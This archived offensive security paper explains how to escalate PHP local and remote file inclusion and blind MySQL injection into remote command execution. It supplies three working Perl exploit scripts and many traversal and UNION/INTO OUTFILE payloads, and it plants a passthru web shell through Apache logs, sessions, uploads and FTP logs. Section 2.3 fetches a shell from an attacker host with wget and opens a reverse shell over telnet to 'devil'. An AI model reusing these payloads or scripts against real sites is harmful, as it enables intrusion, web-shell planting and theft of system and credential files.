

# Web vulnerabilities to gain access to the system

Archived security papers and articles in various languages.

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--- [ 1 - Introduction



There are a lot of vulnerabilities that allow us to exploit a website, all of them are old and documented. We can find LFI, RFI, SQL, XSS, SSI, ICH and other attacks. For that reason I'm going to center this paper only in attacks that allow us access to the system and to execute commands remotely.

It would be bored to write another paper with all types of vulnerabilities, telling the same you know, for that I'll try to contribute with any new thing and remember basic concepts superficially.

## ---[ 2 - Local and Remote File Inclusion (LFI/RFI)

### ----[ 2.1 - Introduction

This type of attacks are well known and basically consists in to read system files using bad programmed PHP pages that make calls to another files by `require`, `require_once`, `include` or `include_once` commands. Logically, this calls must use any variable not initialized. Example:

```
require($file);
require("includes/".$file);
require("languages/".$lang.".php");
require("themes/".$tema."/config.php");
```

The methods to exploit it are well known and I'm not go to detail its, I'm going to enumerate it only. For example:

Type of call:

```
require($file);
```

Exploit:

```
http://host/?file=/etc/passwd
```

Type of call:

```
require("includes/".$file);
```

Exploit:

```
http://host/?file=../../../../etc/passwd
```

Type of calls:

```
require("languages/".$lang.".php");
require("themes/".$theme."/config.php");
```

Exploit:

```
http://host/?file=../../../../etc/passwd%00
```

Type of call:

```
require("languages/" . $_COOKIE['lang'] . ".php");
```



Exploit:

```
javascript:document.cookie = "lan=../../../../../../etc/passwd%00";
```

One script to exploit this type of vulnerabilities, by GET or POST, could be:

lfi.pl

```
-----
```

```
#!/usr/bin/perl
```

```
# perl script to exploit LFI based in GET and POST requests
```

```
# Example: http://site.com/index.php?var=
```

```
# URL: http://site.com/index.php
```

```
# Variable: var
```

```
# Method: POST
```

```
#
```

```
# by Pepelux (pepelux[at]enye-sec[dot]org)
```

```
use LWP::UserAgent;
```

```
$ua = LWP::UserAgent->new;
```

```
my ($host, $var, $method) = @ARGV ;
```

```
unless($ARGV[2]) {
```

```
    print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
```

```
    print "\tex: perl $0 http://site.com/index.php var GET\n";
```

```
    print "\tex: perl $0 http://site.com/index.php var POST\n\n";
```

```
    exit 1;
```

```
}
```

```
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)");
```

```
$ua->timeout(10);
```

```
$host = "http://" . $host if ($host !~ /^http:/);
```

```
while () {
```

```
    print "file to edit: ";
```

```
    chomp($file=<STDIN>);
```

```
    if ($method =~ /GET/) {
```

```
        $url = $host . "?" . $var . "=../../../../../../" . $file . "%00";
```

```
        $req = HTTP::Request->new(GET => $url);
```

```
        $req->header('Accept' => 'text/html');
```

```
    }
```

```
    else {
```

```
        $req = HTTP::Request->new(POST => $host);
```

```
        $req->content_type('application/x-www-form-urlencoded');
```

```

$req->content($var."=../../../../../".$file."%00");
}

$res = $ua->request($req);

if ($res->is_success) {
    $result = $res->content;
    print $result;
}
else { print "Error\n"; }
}

```

-----

## ----[ 2.2 - Executing commands remotely

We've seen with this type of vulnerabilities is possible to view any system file where web user has readable access, but also is possible to execute system commands. To do that we need to write in any file this php code:

```
<? passthru($_GET[cmd]) ?>
```

cmd is the name we put to our variable to send it data by GET.

Now, we only have to search any place where we can write data. How can we do that? we have several methods:

### -----[ 2.2.1 - Injecting PHP code into apache logs

We know that apache server saves logs of all operations, in access\_log and error\_log. We can play with registered datas and try to inject PHP code.

For example, to inject in error\_log file is enough to do a call to a nonexistent page but sending the code we need to write in the file:

```
http://host/xxxxxxx=<? passthru($_GET[cmd]) ?>
```

This will add a line into error\_log injecting the code we have written. And now? we only have to load this file with the same method we did before and send by cmd variable the command we'd like to execute:

```
http://host/?file=../../var/apache/error_log&cmd=ls /etc
http://host/?file=../../var/apache/error_log&cmd=uname -a
```

But, how can we know the apache logs location? It depends of the operating system and the sysadmin. One option is to search typical directories where logs are saved:

```

/var/log/apache/
/var/log/httpd/
/usr/local/apache/logs/

```

.....



In a shared server we can see this situation:

```
/path/host.com/www
      /logs
      /data
```

On this case, to know the path we only have to write a nonexistent file, for example:

```
http://host/?file=xxxx
```

We will see in the sscreen any similar to this:

```
Warning: require(xxxx) [function.require]: failed to open stream: No such
file or directory in /var/www/host.com/www/p.php on line 2
```

We can intuit that log files could be in /var/www/host.com/logs

Another method to locate logs path could be viewing httpd.conf config file where we can see any similar to this:

```
ErrorLog /var/log/apache/error.log
```

Or in the case of a shared server:

```
ErrorLog /home/chs/host.com/home/logs/error_log
```

But as I wrote before, it depends of the operating system, apache version and the sysadmin, for that is possible logs are not on this location.

We also can locate apache logs path searching in the process table:

/proc/{PID}/fd/{FD\_ID} (the problem is that fd directory is only accesible by the user in some systems).

To locate the PID of our apache session we can make an HTTP request and next read /proc/self/stat content. Self is a link to the last PID used in the system, for that, we can read files watching on /proc/self.

Inside /proc/{PID}/fd there are only a few links to analyze, founding access\_log and error\_log path. To do this task we are going to use this perl script, that search all links inside /proc/self/fd/ directory to locate error\_log path:

```
proc.pl
```

```
-----
```

```
#!/usr/bin/perl
```

```
# perl script to serach apache logs path
```

```
# Example:
```

```
# URL: http://site/index.php
```

```
# Variable: file
```

```
# Method: POST
```

```
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $var, $method) = @ARGV ;

unless($ARGV[2]) {
    print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
    print "\tex: perl $0 http://site.com/index.php file GET\n";
    print "\tex: perl $0 http://site.com/index.php file POST\n\n";
    exit 1;
}

$ua->agent("<? passthru(\$_GET[cmd]) ?>");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);

if ($method =~ /GET/) {
    $url = $host."?". $var."=../../../../proc/self/stat%00";
    $req = HTTP::Request->new(GET => $url);
    $req->header('Accept' => 'text/html');
}
else {
    $req = HTTP::Request->new(POST => $host);
    $req->content_type('application/x-www-form-urlencoded');
    $req->content($var."=../../../../proc/self/stat%00");
}

$res = $ua->request($req);

if ($res->is_success) {
    $result = $res->content;
    $result =~ s/<[^>]*>//g;
    $x = index($result, " ", 0);
    $pid = substr($result, 0, $x);

    print "Apache PID: ".$pid."\n";
}

if ($method =~ /GET/) {
    $url = $host."?". $var."=../../../../proc/self/status%00";
    $req = HTTP::Request->new(GET => $url);
    $req->header('Accept' => 'text/html');
}
else {
    $req = HTTP::Request->new(POST => $host);
```

```
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../../proc/self/status%00");
}
```

```
$res = $ua->request($req);
```

```
if ($res->is_success) {
    $result = $res->content;
    $result =~ s/<[^>]*>//g;
    $x = index($result, "FDSize",0)+8;
    $fdsize = substr($result, $x, 3);
```

```
    print "FD_SIZE: ".$fdsize."\n";
}
```

```
for ($cont = 0; $cont < $fdsize; $cont++) {
    $file = "../../../../../proc/".$pid."/fd/".$cont;
    open FILE, $file;

    while(<FILE>) {
        if (($_ =~ /does not exist/) && ($_ =~ /passthru/)) {
            print "FD: ".$cont."\n";
            exit;
        }
    }
}
```

```
-----
pepelux:~$ perl proc.pl http://host/index.php page GET
Apache PID: 4191
FD_SIZE: 64
FD: 2
```

If the script locate FD is because `/proc/{PID}/fd/{FD_ID}` is readable by the user and we'll have, on this case, a link to `error_log` on `proc/4191/fd/2`.

Modifying the script we could add a call to

`http://host/?file=/proc/4191/fd/2&cmd=uname -a` (see the first script).

We also can make the injection using an URL that doesn't back an error and log operation will be saved on `access_log`:

```
http://host/index.php?x=<? passthru(\$_GET[cmd]) ?>
```

Is possible that apache doesn't save correctly the injection or it change `<? or ?>` with its hex value. On this case we can't do anything by GET and we'd try to send PHP command by POST, for example using `perl`.

More data saved by apache on `access_log` and where we can inject are `referer` or `user-agent`.



We are going to do some tests using this perl script:

```
cmd.pl
-----
#!/usr/bin/perl

# perl script to inject a CMD in a web LFI vulnerable
# Example:
#   Host: http://host.com
#   type: U
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $type) = @ARGV ;
$code="<? passthru(\$_GET[cmd]) ?>";

unless($ARGV[1]) {
    print "Usage: perl $0 <url> [URI|UAG|REF]\n";
    print "\tURI: URI\n";
    print "\tUAG: User-Agent\n";
    print "\tREF: Referer\n\n";
    print "\tex: perl $0 http://host.com URI\n";
    exit 1;
}

$host = "http://".$host if ($host !~ /^http:/);

if ($type =~ /UAG/) { $ua->agent($code); }
else { $ua->agent("Mozilla/5.0"); }

if ($type =~ /URI/) { $$host .= "/" . $code; }

$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content("x=x");

if ($type =~ /REF/) { $req->referer($code); }

$res = $ua->request($req);
-----

Writing in error_log sending a nonexisting URI:
pepelux:~$ perl cmd.pl http://host.com/blabla URI
```



In error\_log we can see:

```
[Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not  
exist: /home/chs/host.com/home/html/blabla
```



Trying with the User-Agent:

```
pepelux:~$ perl cmd.pl http://host.com/blabla UAG
```

In error\_log we can see the same:

```
[Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not  
exist: /home/chs/host.com/home/html/blabla
```

Trying with the Referer:

```
pepelux:~$ perl cmd.pl http://host.com/blabla REF
```

In this case we obtain the injection:

```
[Wed Oct 08 12:52:54 2008] [error] [client 11.22.33.44] File does not  
exist: /home/chs/host.com/home/html/blabla, referer: <? passthru($_GET[cmd])  
?>
```

Now we are going to write in access\_log that saves more information that  
error\_log:

```
pepelux:~$ perl cmd.pl http://host.com/index.php URI
```

On this case we obtain:

```
11.22.33.44 - - [08/Oct/2008:12:57:39 +0200] "POST  
/index.php/%3C?%20passthru($_GET[cmd])%20?%3E HTTP/1.1" 301 - "-"  
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820  
Firefox/3.0.1"
```

Trying with the User-Agent:

```
pepelux:~$ perl cmd.pl http://host.com/index.php UAG
```

We obtain the injection:

```
11.22.33.44 - - [08/Oct/2008:13:00:05 +0200] "POST  
/index.php HTTP/1.1" 301 - "-" "<? passthru($_GET[cmd]) ?>"
```

Trying with the Referer:

```
pepelux:~$ perl cmd.pl http://host.com/index.php REF
```

We also obtain the injection:

```
11.22.33.44 - - [08/Oct/2008:13:00:56 +0200] "POST  
/index.php HTTP/1.1" 301 - "<? passthru($_GET[cmd]) ?>" "Mozilla/5.0 (X11;  
U; Linux i686; en-US; rv:1.9.0.1)Gecko/2008072820 Firefox/3.0.1"
```

-----[ 2.2.2 - Injecting PHP code into process table

I've found a paper (you can see down the reference) that explains how to inject

into /proc/self/environ, that it is an static path we always know. The problem is that normally this file is only accesible by root and we can't read it.



As I wrote before, /proc/self is a link to the last PID used, for that we don't need to search our apache process PID because we can access directly by the self link. Attack consists in make an injection on User-Agent sending after a call to this file: `http://host/?file=../../../proc/self/environ&cmd=uname -a`

We'd have to do this with a little script because we have to inject and send command immediately before self link changes to another PID process.

#### -----[ 2.2.3 - Injecting PHP code into an image

Is very typical to found websites that allow us to upload images (for example, avatars) that are saved in the server. But what would happend if we upload a file with the content: `<? passthru($_GET[cmd]) ?>` but with any image extension? we colud upload without problems because extension is correct and we'd do a LFI attack with the same method:

`http://host/?file=path/avatar.gif&cmd=uname -a`

#### -----[ 2.2.4 - Injecting PHP code into session files

Suopose this vulnerable code:

```
<?php
$user = $_GET['user'];
session_register("user");
session_start();
?>
```

As we can see, it creates a session variable using a value obtained by GET without any verifications.

We can send:

`http://host/?user=<? passthru($_GET[cmd]) ?>`

And viewing the cookies of our navigator we can see that:

`PHPSESSID=b25ca6fea480073cf8eb840b203d343e`

Analyzing session folder of our system we can see the content:

```
pepelux:~$ more /tmp/sess_b25ca6fea480073cf8eb840b203d343e
user|s:26:"<? passthru($_GET[cmd]) ?>";
```

As you see, we can inject code on the file that saved our session and we also can execute commands using this file:

`http://host/?file=/tmp/sess_b25ca6fea480073cf8eb840b203d343e&cmd=uname -a`

On this case location file is known and we can select it without problems. If GET is filtered we can send it using POST.



#### -----[ 2.2.5 - Injecting PHP code into other files

Normally we don't have access because only root can read this files but is possible to inject our code in other logs, for example in FTP logs:

```
pepelux:~$ ftp host.com
220 ProFTPD 1.3.1 Server (Debian) [host.com]
Name (pepelux): <? passthru($_GET[cmd]) ?>
Password:
```

If we watch /var/log/proftpd/proftpd.log we can see our code injected:

```
Oct 09 21:50:21 host.com proftpd[11190] host.com
([11.22.33.44]): USER <? passthru($_GET[cmd]) ?>: no such user found
from [11.22.33.44] to host.com:21
```

If the vulnerable server use an old version of webalizer and if it's accessible by web, we also can use the file usage\_DATE.html to execute any code because this file is generated with the visit statistics using access\_log and a bug that affect old versions of webalizer permits to write HTML code on referer. For example: Referer: <? passthru(\$\_GET[cmd]) ?>

You only have to do a curl of calls with this referer to enter in the most sent and appears in the usage\_DATE.html file.

In case that apache server admits the PUT command we also can upload a file with our code:

```
pepelux:~$ telnet host.com 80
Trying 11.22.33.44...
Connected to host.com.
Escape character is '^]'.
OPTIONS / HTTP/1.1

HTTP/1.1 200 OK
Date: Sat, 11 Oct 2008 15:06:05 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-5
Allow: GET,HEAD,POST,PUT,OPTIONS,TRACE
Content-Length: 0
Connection: close
Content-Type: httpd/unix-directory
```

Connection closed by foreign host.

To inject:

```
pepelux:~$ telnet host.com 80
```

```
Trying 11.22.33.44...
Connected to host.com.
Escape character is '^'.
PUT /file.txt HTTP/1.1
Content-Type: text/plain
Content-Length:26
```

```
<? passthru($_GET[cmd]) ?>
```

#### ----[ 2.3 - Obtaining a shell

If we can execute commands remotely we can try to upload a shell to have more access to the system.

One method is creating a PHP based shell. We can download it using wget command:

```
http://host/?file=xxxx&cmd=wget http://devil/shell.txt -O shell.php
```

As we can't download a PHP file by HTTP, we can download a TXT file and save it as PHP.

We also can try to do a reverse telnet:

```
pepelux:~$ nc -vv -l -p 8888
pepelux:~$ nc -vv -l -p 8889
```

```
http://host/?file=xxxx&cmd=telnet devil 8888 | /bin/sh | telnet devil 8889
```

#### ----[ 2.4 - Remote File Inclusion

If allow\_url\_include is On in php.ini, we can inject a shell directly. Method is the same I've wrote before and it's well known. You only need to load by GET or POST directly to an URI with the shell (using a non PHP extension):

```
http://host/?file=http://devil.com/shell.txt
http://host/?file=http://devil.com/shell.txt%00
```

#### ---[ 3 - Blind SQL Injection

##### ----[ 3.1 - Introduction

SQL injection attacks are also well known and very documented. I don't like to write more of the same. I'm going to write only about the technique that allow to read system files.

##### ----[ 3.2 - Loading local files



With a web vulnerable to SQL injections (this paper is based on MySQL), if the user used has permissions to do a `load_file`, we can read any system file, for example, `/etc/passwd`.

Example:

Table: `users(id int, user char(25), pass char(25), mail char(255));`

Datas:

```
+---+-----+-----+-----+-----+
| 1 | admin   | 23e4ad2360f4ef4268cb44871375a5cd | admin@host |
+---+-----+-----+-----+-----+
| 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
+---+-----+-----+-----+-----+
```

Vulnerable code:

```
<?php
$iduser = $_GET['$id'];
$link = mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("database", $link);

$result = mysql_query("SELECT * FROM users WHERE id=$iduser", $link);
$row = mysql_fetch_array($result);

echo "User mail is:" . $row["mail"] . "\n";
?>
```

We have an unknown table, with unknown fields and a MySQL that doesn't show any error in the screen.

> correct call that show mail of user 2:

```
http://host/?id=2
```

> we try to reorder query results by SQL injection:

```
http://host/?id=2 ORDER BY 1 ... Ok
http://host/?id=2 ORDER BY 2 ... Ok
http://host/?id=2 ORDER BY 3 ... Ok
http://host/?id=2 ORDER BY 4 ... Ok
http://host/?id=2 ORDER BY 5 ... Error
```

Why ORDER BY 5 causes an error? if we use ORDER BY 2 we are telling MySQL that order results by the user, with ORDER BY 3, we tell it that order by pass column, but as we only have 4 columns on this table, ORDER BY 5 causes an error.

Why is it useful? we can know the number of columns that this table has.

> modifying the answer we can see in the screen (we know there are 4 columns):

```
http://host/?id=-1 UNION SELECT 1,2,3,4
```



What do it? If we search the user with ID=-1, it response with 0 results and it will create a new line with the injected data. Why do we use ID=-1? We can see a practical example:

We send:

```
http://host/?id=2 UNION SELECT 1,2,3,4
```

We obtain:

```
+---+-----+-----+-----+
| 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
+---+-----+-----+-----+
| 1 | 2      | 3                      | 4            |
+---+-----+-----+-----+
```

As this select only the first line, we'll see in the screen:

```
User mail is: pepelux@host
```

If we put ID=-1 we'll obtain the injected data:

We send:

```
http://host/?id=-1 UNION SELECT 1,2,3,4
```

We obtain:

```
+---+-----+-----+-----+
| 1 | 2      | 3                      | 4            |
+---+-----+-----+-----+
```

In the screen we will see:

```
User mail is: 4
```

> We can use 4th column (that we can see it in the screen) to inject:

```
http://host/?id=-1 UNION SELECT 1,2,3,load_file('/etc/passwd');
```

It will show in the screen /etc/passwd content in the mail user place (this is possible only if the mysql user used has permissions to execute load\_file).

In the case that magic\_quotes are On we can use the hex value:

```
http://host/?id=-1 UNION SELECT 1,2,3,load_file(0x2f65746332f706173737764);
```

A difference between to read files using LFI and to read it using SQL injection is that the user used to read files is different. On the first case we use the apache user and on the second case we use the MySQL user. This is not very important by it can be useful to read same files with different permissions.

### ----[ 3.3 - Obtaining data without brute force



Suppose this situation with the same vulnerable code as I wrote before:

Table: users(id int, user char(25), pass char(25), mail char(255));

Datas:

```
+---+-----+-----+-----+-----+
| 1 | admin   | 23e4ad2360f4ef4268cb44871375a5cd | admin@host |
+---+-----+-----+-----+-----+
| 2 | pepelux  | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
+---+-----+-----+-----+-----+
```

```
<?php
```

```
$iduser = $_GET['$id'];
$link = mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("database", $link);

$result = mysql_query("SELECT * FROM usuarios WHERE id=$iduser", $link);
$row = mysql_fetch_array($result);
```

```
echo "User mail is:" . $row["mail"] . "\n";
```

```
?>
```

We can see all data of this table if we do that:

```
http://host/?id=1 outfile "/tmp/sql.txt"
http://host/?id=-1 UNION SELECT 1,2,3,load_file('/tmp/sql.txt');
```

/tmp/sql.txt content is:

```
1      admin      23e4ad2360f4ef4268cb44871375a5cd      admin@host
```

As we can see, we have extracted all data of the user with ID=1 without know the table name or the fields names. With the same method we can extract all user fields.

The problem of this attack is that we only can read data of the table that is used in the query.

Using this technique we can also copy system files in the local directory to access it by web, for example:

```
http://host/?id=-1 union select 1,load_file("/etc/passwd"),1 into outfile
"/var/www/host.com/www/passwd"
```

And we can create PHP files. For example:

```
http://host/?id=-1 union select 1,"<?phpinfo()?>",1 into outfile
"/var/www/host.com/www/phpinfo.php"
```

### ---[ 3.4 - Executing commands remotely



We have seen several methods to inject `<? passthru($_GET[cmd]) ?>` that give us the possibility to execute commands remotely. Main problem we found is to locate a file to write the PHP code. With the apache logs is complicated to find the location and also is possible that the user doesn't have permissions to read it.

On this case is easy to cause an error that show us in the screen the path of the website. If we know it we can create a PHP file with the code that allow us to execute commands:

```
http://host/?id=-1 union select 1,"<?passthru($_GET[cmd])?>",1 into outfile  
"/var/www/host.com/www/cmd.php"
```

Next we only have to do:

```
http://host/cmd.php?cmd=uname -a
```

If the website is vulnerable to LFI attacks we can write the PHP code in any place that we have writeable permissions. For example in /tmp:

First, we can inject code in a file on /tmp:

```
http://host/?id=-1 union select 1,"<? passthru($_GET[cmd]) ?>",1,1 into  
outfile "/tmp/sql.txt"
```

Next we use LFI to execute commands:

```
http://host/?file=../../tmp/sql.txt&cmd=uname -a
```

### ---[ 3.5 - Obtaining a shell

If we have created a file containing our PHP code, the method to obtain a shell is the same that I described before for LFIs (you can see point 2.3) :-)

### ---[ 4 - References

- <http://www.g-brain.net/tutorials/local-file-inclusions.txt>
- [http://ush.it/team/ascii/hack-lfi2rce\\_proc/lfi2rce.txt](http://ush.it/team/ascii/hack-lfi2rce_proc/lfi2rce.txt)
- <http://www.securityfocus.com/bid/3473>
- <http://dev.mysql.com/doc/>

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